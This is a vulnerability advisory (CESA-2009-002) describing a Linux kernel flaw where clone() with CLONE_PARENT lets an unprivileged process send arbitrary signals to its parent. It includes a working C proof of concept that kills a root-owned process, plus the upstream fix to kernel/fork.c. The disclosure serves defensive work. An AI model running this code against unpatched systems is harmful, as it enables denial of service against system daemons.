CESA-2009-002 - rev 1
[See all my vulnerabilities at
http://scary.beasts.org/security]
[Blog if you want to subscribe to new findings is at
http://scarybeastsecurity.blogspot.com/]
Linux kernel minor signal sending vulnerability
Programs affected: Linux kernel up to at least 2.6.28.
Fixed: Fix sent upsteam. See credits below.
Severity: Send signals to processes you shouldn't be able to.
There are various interesting ways signals can be sent using the Linux kernel
API. There are certainly more options that just boring
kill(SIG, pid)
! Examples include:
- Use of the
fcntl()
flags F_SETOWN
and the lesser
known F_SETSIG
- Use of
prctl(PR_SET_PDEATHSIG, ...)
- Use of
clone(..., SIG, ...)
It is this final example that features in this advisory. The
clone()
system call permits the caller to indicate what signal
it receives when its child exits; the traditional SIGCHLD
or
perhaps something more exotic. Normally this would not be a problem but there's
the nice trick of combining this with CLONE_PARENT
.
CLONE_PARENT
causes the new child to share the same parent as the
caller, thus enabling this arbitrary signal to be sent to the caller's
parent.
There is limited mischief that can be caused using this. The most likely is
a DoS by killing some daemon process. This can be achieved if said daemon
process launches untrusted user processes as direct children. There will be
a problem if the user processes are the result of an execve()
after fork()
and setuid()
. Without the
execve()
, the process will be marked as not "dumpable", so
debug attach via ptrace()
will not be permitted.
In some rare and bizarre cases, the ability to send a specific signal to a
process at a specific time may be abused to make it misbehave. Certainly an
area for further research.
Here is a sample piece of code which shows a root-owned process being killed
by a non root-owned process.
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
static int the_child(void* arg) {
sleep(1);
_exit(2);
}
int main(int argc, const char* argv[]) {
int ret = fork();
if (ret < 0)
{
perror("fork");
_exit(1);
}
else if (ret > 0)
{
for (;;);
}
setgid(99);
setuid(65534);
{
int status;
char* stack = malloc(4096);
int flags = SIGKILL | CLONE_PARENT;
int child = clone(the_child, stack + 4096, flags, NULL);
}
_exit(100);
}
Patch sent upstream (see credits below) was:
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1184,7 +1184,9 @@ static struct task_struct *copy_process(
p->parent_exec_id = p->self_exec_id;
/* ok, now we should be set up.. */
- p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL);
+ p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 :
+ (clone_flags & CLONE_PARENT) ? current->group_leader->exit_signal :
+ (clone_flags & CSIGNAL);
p->pdeath_signal = 0;
p->exit_state = 0;
Credits
- Oleg Nesterov and Don Howard for working out a suitable fix and creating
the above patch.
- Eugene Teo for co-ordinating.
CESA-2009-002 - rev 1
Chris Evans
scarybeasts@gmail.com